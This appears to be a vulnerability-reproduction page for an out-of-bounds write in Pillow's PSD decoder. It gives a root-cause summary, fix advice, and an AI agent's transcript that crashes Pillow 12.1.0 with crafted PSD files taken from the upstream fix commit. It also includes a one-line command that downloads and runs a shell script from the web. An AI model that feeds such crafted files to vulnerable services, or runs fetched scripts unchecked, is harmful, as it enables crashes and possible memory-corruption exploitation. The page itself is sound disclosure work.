GHSA-CFH3-3JMP-RVHC: Verified Repro With Script Download
GHSA-CFH3-3JMP-RVHC: Pillow 10.3.0–12.1.0 allows an out-of-bounds write when loading specially crafted PSD images, potentially leading to memory corruption.
GHSA-CFH3-3JMP-RVHC is verified against the affected target. Vulnerability class: OOB Write. This security reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00085.
What Is GHSA-CFH3-3JMP-RVHC?
GHSA-cfh3-3jmp-rvhc describes an out-of-bounds write in Pillow, the Python imaging library, in versions 10.3.0 through 12.1.0, triggered when loading a specially crafted PSD image, potentially leading to memory corruption. Pruva reproduced it (reproduction REPRO-2026-00085).
How to Reproduce GHSA-CFH3-3JMP-RVHC
pruva-verify REPRO-2026-00085 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00085/artifacts/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for GHSA-CFH3-3JMP-RVHC
Reproduced by Pruva's autonomous agents — 31 tool calls over 3 min. Full root-cause analysis and the complete transcript are below.
How the agent worked
Root Cause and Exploit Chain for GHSA-CFH3-3JMP-RVHC
Summary
Pillow PSD parsing in versions 10.3.0–12.1.0 allows crafted PSD tiles with invalid extents to trigger an out-of-bounds write. The crafted PSDs in the Pillow fix commit cause memory corruption during image loading and can abort the process.
Impact
- Package/component affected: python-pillow/Pillow PSD decoder (tile handling in core decoder)
- Affected versions: >=10.3.0 and <12.1.1
- Risk level and consequences: High; memory corruption leading to crashes and potential exploitation.
Root Cause
Tile extents were not validated for negative offsets when decoding/encoding. PSD files can craft tile data where x/y offsets are negative, resulting in tile ranges extending outside the image bounds and causing an out-of-bounds write. The fix commit adds checks for negative x/y offsets in src/decode.c and src/encode.c. Fix commit: https://github.com/python-pillow/Pillow/commit/54ba4db542ad3c7b918812a4e2d69c27735a3199
Reproduction Steps
- Run
repro/reproduction_steps.sh. - The script creates a venv, installs Pillow 12.1.0, fetches the fix commit to obtain crafted PSDs (psd-oob-write*.psd), and opens them with Pillow.
- Expected evidence: process abort (double free or corruption) when loading crafted PSDs.
Evidence
- Script output (from
repro/reproduction_steps.sh) showed:double free or corruption (out)and exit code 134 when opening crafted PSDs. - Environment details: Python venv with Pillow 12.1.0, PSD samples from Pillow commit 54ba4db5.
Recommendations / Next Steps
- Upgrade to Pillow 12.1.1 or later.
- Backport the negative tile extent checks to affected releases.
- Add regression tests for PSD tile bounds (included in fix commit).
Additional Notes
- The reproduction script is idempotent (cleans /tmp/pillow_psd_oob each run).
- Evidence is collected via process abort output; ASAN could provide deeper diagnostics but is not required for repro.
GHSA-CFH3-3JMP-RVHC Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
Unknown error
git clone https://github.com/python-pillow/Pillow.git /tmp/PillowCloning into '/tmp/Pillow'...
git -C /tmp/Pillow show 54ba4db542ad3c7b918812a4e2d69c27735a3199{"cwd":"/data/pruva/runs/19d27887-3653-4a01-ad54-44532ad3744c","duration_ms":3,"exit_code":0,"stderr":"","stdout":"commit 54ba4db542ad3c7b918812a4e2d69c27735a3199\nAuthor: Andrew Murray <3112309+radarhere@users.noreply.github.com>\nDate: Wed Feb 11 10:24:50 2026 +1100\n\n Fix OOB Write with invalid tile extents (#9427)\n \n Co-authored-by: Eric Soroos <eric-github@soroos.net>\n\ndiff --git a/Tests/images/psd-oob-write-x.psd b/Tests/images/psd-oob-write-x.psd\nnew file mode 100644\nindex 000000000..86359f4cb\nBinary files /dev/null and b/Tests/images/psd-oob-write-x.psd differ\ndiff --git a/Tests/images/psd-oob-write-y.psd b/Tests/images/psd-oob-write-y.psd\nnew file mode 100644\nindex 000000000..73498266a\nBinary files /dev/null and b/Tests/images/psd-oob-write-y.psd differ\ndiff --git a/Tests/images/psd-oob-write.psd b/Tests/images/psd-oob-write.psd\nnew file mode 100644\nindex 000000000..65a4472cf\nBinary files /dev/null and b/Tests/images/psd-oob-write.psd differ\ndiff --git a/Tests/test_file_psd.py b/Tests/test_file_psd.py\nindex 8f2ca58a6..8a2636dfe 100644\n--- a/Tests/test_file_psd.py\n+++ b/Tests/test_file_psd.py\n@@ -182,3 +182,20 @@ def test_layer_crashes(test_f… [truncated]#!/bin/bash set -euo pipefail WORKDIR="/tmp/pillow_psd_oob" rm -rf "$WORKDIR" mkdir -p "$WORKDIR" python -m venv "$WORKDIR/venv" source "$WORKDIR/venv/bin/activate" pip install --upgrade pip >/dev/null pip install pillow==12.1.0 >/dev/null # Get crafted PSDs introduced in the fix commit if [ ! -d "$WORKDIR/Pillow" ]; then git clone https://github.com/python-pillow/Pillow.git "$WORKDIR/Pillow" >/dev/null fi # Fetch the commit that added the crafted PSDs cd "$WORKDIR/Pillow"
bash repro/reproduction_steps.sh{"cwd":"/data/pruva/runs/19d27887-3653-4a01-ad54-44532ad3744c","duration_ms":13419,"exit_code":134,"stderr":"Cloning into '/tmp/pillow_psd_oob/Pillow'...\nFrom https://github.com/python-pillow/Pillow\n * branch 54ba4db542ad3c7b918812a4e2d69c27735a3199 -> FETCH_HEAD\ndouble free or corruption (out)\nrepro/reproduction_steps.sh: line 45: 3645 Aborted (core dumped) python - <<'PY'\nfrom PIL import Image\nimport glob\nimport os\n\npsd_files = sorted(glob.glob(os.path.join(\"/tmp/pillow_psd_oob/Pillow/Tests/images\", \"psd-oob-write*.psd\")))\nprint(\"Using Pillow version:\", Image.__version__)\nfor path in psd_files:\n print(\"\\nOpening\", path)\n with Image.open(path) as im:\n print(\"Format:\", im.format, \"frames:\", im.n_frames, \"size:\", im.size)\n im.seek(im.n_frames)\n try:\n im.load()\n print(\"Loaded without exception (potentially unsafe)\")\n except Exception as exc:\n print(\"Exception:\", type(exc).__name__, exc)\nPY\n\n","stdout":"-rw-r--r-- 1 vscode vscode 1126 Feb 12 15:25 /tmp/pillow_psd_oob/Pillow/Tests/images/psd-oob-write-x.psd\n-rw-r--r-- 1 vscode vscode 1126 Feb 1… [truncated]## Summary Pillow PSD parsing in versions 10.3.0–12.1.0 allows crafted PSD tiles with invalid extents to trigger an out-of-bounds write. The crafted PSDs in the Pillow fix commit cause memory corruption during image loading and can abort the process. ## Impact - Package/component affected: python-pillow/Pillow PSD decoder (tile handling in core decoder) - Affected versions: >=10.3.0 and <12.1.1 - Risk level and consequences: High; memory corruption leading to crashes and potential exploitation. ## Root Cause Tile extents were not validated for negative offsets when decoding/encoding. PSD files can craft tile data where x/y offsets are negative, resulting in tile ranges extending outside the image bounds and causing an out-of-bounds write. The fix commit adds checks for negative x/y offsets in src/decode.c and src/encode.c. Fix commit: https://github.com/python-pillow/Pillow/commit/54ba4db542ad3c7b918812a4e2d69c27735a3199 ## Reproduction Steps 1. Run `repro/reproduction_steps.sh`. 2. The script creates a venv, installs Pillow 12.1.0, fetches the fix commit to obtain crafted PSDs (psd-oob-write*.psd), and opens them with Pillow. 3. Expected evidence: process abort (double free or … [truncated]
/bin/bash /data/pruva/runs/19d27887-3653-4a01-ad54-44532ad3744c/repro/reproduction_steps.sh{"cwd":"/data/pruva/runs/19d27887-3653-4a01-ad54-44532ad3744c","duration_ms":11252,"exit_code":134,"stderr":"Cloning into '/tmp/pillow_psd_oob/Pillow'...\nFrom https://github.com/python-pillow/Pillow\n * branch 54ba4db542ad3c7b918812a4e2d69c27735a3199 -> FETCH_HEAD\ndouble free or corruption (out)\n/data/pruva/runs/19d27887-3653-4a01-ad54-44532ad3744c/repro/reproduction_steps.sh: line 45: 3742 Aborted (core dumped) python - <<'PY'\nfrom PIL import Image\nimport glob\nimport os\n\npsd_files = sorted(glob.glob(os.path.join(\"/tmp/pillow_psd_oob/Pillow/Tests/images\", \"psd-oob-write*.psd\")))\nprint(\"Using Pillow version:\", Image.__version__)\nfor path in psd_files:\n print(\"\\nOpening\", path)\n with Image.open(path) as im:\n print(\"Format:\", im.format, \"frames:\", im.n_frames, \"size:\", im.size)\n im.seek(im.n_frames)\n try:\n im.load()\n print(\"Loaded without exception (potentially unsafe)\")\n except Exception as exc:\n print(\"Exception:\", type(exc).__name__, exc)\nPY\n\n","stdout":"-rw-r--r-- 1 vscode vscode 1126 Feb 12 15:26 /tmp/pillow_psd_oob/Pillow/Tests/images/psd-o… [truncated]Artifacts and Evidence for GHSA-CFH3-3JMP-RVHC
Scripts, logs, diffs, and output captured during the reproduction.
No artifacts available
How to Fix GHSA-CFH3-3JMP-RVHC
FAQ: GHSA-CFH3-3JMP-RVHC
How does the crafted PSD trigger memory corruption?
Which versions of Pillow are affected, and where is it fixed?
How severe is GHSA-cfh3-3jmp-rvhc?
How can I reproduce GHSA-cfh3-3jmp-rvhc?
References for GHSA-CFH3-3JMP-RVHC
Authoritative sources for GHSA-CFH3-3JMP-RVHC — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.